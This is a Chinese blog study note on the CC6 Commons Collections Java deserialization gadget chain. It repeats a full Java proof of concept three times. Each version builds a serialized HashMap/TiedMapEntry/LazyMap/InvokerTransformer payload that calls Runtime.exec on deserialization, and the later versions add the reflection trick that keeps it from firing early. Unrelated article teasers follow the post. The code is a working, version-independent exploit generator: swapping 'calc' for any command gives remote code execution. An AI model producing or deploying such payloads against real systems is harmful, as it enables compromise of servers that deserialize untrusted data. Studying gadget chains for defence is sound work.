CC6学习记录

🌸 cc6

cc6cc1的国外链其实后半条链子是一样的,但是cc6的不局限于jdk的版本和commons-collections的版本。

回忆一下cc1的后半条链子:

LazyMap.get()->InvokerTransformer.transform()

这里我们就结合了URLDNS链的思路,在URLDNS链中,我们知道HashMap中的readObject方法,调用了hashCode方法,如果我们能够找到某一个类的hashCode方法,在hashCode方法中调用了get方法。那么整个链子我们也是可以形成的。

之后便找到了TiedMapEntry类,在这个类中的hashCode方法调用了getValue方法

public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }

查看TiedMapEntry类中的getValue方法,发现其中调用了get方法。此时到了这里就和之前的URLDNS链子的前面部分很类似!当我们创建一个HashMap,然后HashMap里面写入TiedMapEntry,当反序列化的时候,便会调用调用hash(key),从而调用key.hashCode()方法,而此时的key便是我们传入的TiedMapEntry对象。

那就可以直接利用cc1的后半条链直接继续完善:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6Test {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");serialization(map2);unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));objectInputStream.readObject();objectInputStream.close();}
}

但是这还是会存在一个问题,就是当时在学习URLDNS链的时候,当map.put的时候,就触发了整个链子的执行,因此我们还是需要组织这个链子的执行!

🌸 绕过map.put触发攻击链

整个链子的前半部分其实和URLDNS链是非常类似的,在URLDNS链中我们需要绕过hashCode,因为在map.put()的时候,便已经将整个链子走完了,因此需要绕过一下。

首先HashMap里面放的是tiedMapEntry,而tiedMapEntry里面则放的是LazyMapLazyMap里面放的是ChainedTransformer,最后ChainedTransformer里面放的是Transformer。于是我们可以在put之前,将上述的任意一个置空,因为他们是嵌套的,所以只需要置空一个即可!

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6Test {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<String, Object> map = new HashMap<>();//这里将LazyMap里面的factroy置空了Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");//当put结束之后,我们还需要通过反射机制,将原来的lazyMap改回去Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);//        serialization(map2);unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));objectInputStream.readObject();objectInputStream.close();}
}

于是这里我们就绕过了put时触发。但是我们发现还是执行不了代码。继续看看put时发生了什么:

这里发现会判断key是不是存在,如果不存在,则会走进if,如果存在的话就直接return。我们反序列化的时候,肯定是为了进入if条件,从而执行factory.transform(key)方法!

所以我们需要在put执行完毕之后,将lazyMap里面的key删除掉。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6Test {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");lazymap.remove("aaa");Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);//        serialization(map2);unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));objectInputStream.readObject();objectInputStream.close();}
}
🌸 总结

cc6很像是URLDNS链和CC1的联合体。CC6也是基于commons-collection 3.2.1,但是CC6由于是HashMap作为入口,因此它并不依赖于jdk的版本,相当于是版本通杀的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/472324.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

飞凌嵌入式RK3576核心板已适配Android 14系统

在今年3月举办的RKDC2024大会上&#xff0c;飞凌嵌入式FET3576-C核心板作为瑞芯微RK3576处理器的行业首秀方案重磅亮相&#xff0c;并于今年6月率先量产发货&#xff0c;为客户持续稳定地供应&#xff0c;得到了众多合作伙伴的认可。 FET3576-C核心板此前已提供了Linux 6.1.57…

路漫漫其修远兮,吾将上下而求索---第一次使用github的过程记录和个人感受

文章目录 1.仓库位置2.新建仓库3.配置仓库4.克隆和上传5.推荐文章和我的感受 1.仓库位置 这个仓库的位置就是在我们的这个个人主页的右上角&#xff1b;如果是第一次注册账号的话&#xff0c;这个主页里面肯定是不存在仓库的&#xff0c;需要我们自己手动的进行创建&#xff1…

docker与大模型(口语化原理和实操讲解)

文章目录 一、镜像images1&#xff09;下载安装2&#xff09;docker images相关命令(保存、删除、上传、别名、搜索镜像) 二、容器container1&#xff09;展现所有在跑的容器服务ps2&#xff09;start /restart / kill / stop /rm 三、dockerfile四、volume五、network六、dock…

《基于Oracle的SQL优化》读书笔记

查看执行计划set autotrace traceonly explain在当前session中将优化器模式改为RULE。alter session set optimizer_modeRULE;统计信息存储在oracle的数据字典里&#xff0c;且从多个维度描述了oracle数据库里相关对象的实际数据量&#xff0c;实际数据分布等详细信息。 -- 对…

css:浮动

网页的本质上就是摆放盒子&#xff0c;把盒子摆到相应的位置上 css提供了三种传统的布局方式&#xff1a; 普通流&#xff08;标准流&#xff09;&#xff1a;标签按默认方式排列&#xff0c;最基本的布局方式 浮动 定位 实际开发中&#xff0c;一个网页基本包含了三种这种布局…

c++入门--引用与指针,const与引用,NULL与nullptr

1.引用与指针&#xff1a; 1.1引用的介绍&#xff1a; 引用相当于一个变量的别名&#xff0c;向函数传参后或者在main函数中可以直接对这个变量进行操作。 1.2引用的返回&#xff1a; 函数返回的时候是生成了一个临时变量&#xff0c;这个变量具有常性&#xff0c;是不能对这…

单片机智能家居火灾环境安全检测

目录 前言 一、本设计主要实现哪些很“开门”功能&#xff1f; 二、电路设计原理图 电路图采用Altium Designer进行设计&#xff1a; 三、实物设计图 四、程序源代码设计 五、获取资料内容 前言 在现代社会&#xff0c;火灾安全始终是人们关注的重点问题。随着科技的不…

SpringBoot3全面复习

Springboot3 Spring Boot 3是Spring Boot框架的一个主要版本&#xff0c;它基于Spring Framework 6构建&#xff0c;引入了对最新Java版本&#xff08;如Java 17及以上&#xff09;的支持&#xff0c;并提供了许多新特性和改进。Spring Boot 3旨在简化Spring应用的初始搭建以及…

海思3403对RTSP进行目标检测

1.概述 主要功能是调过live555 testRTSPClient 简单封装的rtsp客户端库&#xff0c;拉取RTSP流&#xff0c;然后调过3403的VDEC模块进行解码&#xff0c;送个NPU进行目标检测&#xff0c;输出到hdmi&#xff0c;这样保证了开发没有sensor的时候可以识别其它摄像头的视频流&…

哈佛商业评论 | 未来商业的技术趋势:百度李彦宏谈技术如何变革商业

在《哈佛商业评论》的HBR IdeaCast节目中&#xff0c;百度联合创始人、首席执行官兼董事长李彦宏分享了他对人工智能&#xff08;AI&#xff09;和其他技术趋势的见解。这期节目讨论了百度如何将生成式AI融入业务&#xff0c;以及这些技术如何重塑我们的生活和工作方式。让我们…

插入排序——希尔排序

插入排序——希尔排序 7.5 插入排序——希尔排序概念和思路参考程序希尔排序的特性总结复杂度稳定性 7.5 插入排序——希尔排序 概念和思路 我们都知道&#xff0c;直接插入排序的时间复杂度为 O ( n 2 ) O(n^2) O(n2)&#xff0c;但当数据无限接近有序或本身就是有序的时候&a…

Python小试牛刀:第一次爬虫,获取国家编码名称

使用场景&#xff1a; 需要初始化国家&#xff08;地区表&#xff09;&#xff0c;字段有国家名称、国家编码等等。 解决方案&#xff1a; 使用requests发送请求&#xff0c;使用bs4解析得到的HTML&#xff0c;打开F12&#xff0c;查看元素&#xff0c;&#xff08;可以Ctrl…

Java中的集合类与线程安全的讨论

1.ArrayList ArrayList是线程不安全的&#xff0c;可以在单线程中使用&#xff0c;在多线程中可以根据代码选择合适的时机进行加锁&#xff0c;实现线程安全的操作&#xff0c;但对代码能力要求较高。 2.Collections.synchronizedList(new ArrayList) 返回的List中的关键操作…

【数据结构】线性表——栈与队列

写在前面 栈和队列的关系与链表和顺序表的关系差不多&#xff0c;不存在谁替代谁&#xff0c;只有双剑合璧才能破敌万千~~&#x1f60e;&#x1f60e; 文章目录 写在前面一、栈1.1栈的概念及结构1.2、栈的实现1.2.1、栈的结构体定义1.2.2、栈的初始化栈1.2.3、入栈1.2.4、出栈…

A030-基于Spring boot的公司资产网站设计与实现

&#x1f64a;作者简介&#xff1a;在校研究生&#xff0c;拥有计算机专业的研究生开发团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339; 赠送计算机毕业设计600…

企业生产环境-麒麟V10(ARM架构)操作系统部署kafka高可用集群

前言&#xff1a;Apache Kafka是一个分布式流处理平台&#xff0c;由LinkedIn开发并捐赠给Apache软件基金会。它主要用于构建实时数据流管道和流应用。Kafka具有高吞吐量、可扩展性和容错性的特点&#xff0c;适用于处理大量数据。 以下是Kafka的一些核心概念和特性&#xff1…

供应链管理、一件代发系统功能及源码分享 PHP+Mysql

随着电商行业的不断发展&#xff0c;传统的库存管理模式已经逐渐无法满足市场需求。越来越多的企业选择“一件代发”模式&#xff0c;即商家不需要自己储备商品库存&#xff0c;而是将订单直接转给供应商&#xff0c;由供应商直接进行发货。这种方式极大地降低了企业的运营成本…

机器学习 ---线性回归

目录 摘要&#xff1a; 一、简单线性回归与多元线性回归 1、简单线性回归 2、多元线性回归 3、残差 二、线性回归的正规方程解 1、线性回归训练流程 2、线性回归的正规方程解 &#xff08;1&#xff09;适用场景 &#xff08;2&#xff09;正规方程解的公式 三、衡量…

Unity类银河战士恶魔城学习总结(P127 Stat ToolTip属性提示)

【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili 教程源地址&#xff1a;https://www.udemy.com/course/2d-rpg-alexdev/ 本章节实现了把鼠标放到属性上面就会显示属性的作用 UI_StatToolTip.cs 这段代码实现了一个UI提示框&#xff08;ToolTip&#xff09;功能…

C/C++语言基础--initializer_list表达式、tuple元组、pair对组简介

本专栏目的 更新C/C的基础语法&#xff0c;包括C的一些新特性 前言 initializer_list表达式、tuple元组、pair对组再C日常还是比较常用的&#xff0c;尤其是对组在刷算法还是挺好用的&#xff0c;这里做一个简介&#xff1b;这三个语法结合C17的结构化绑定会更好用&#xff…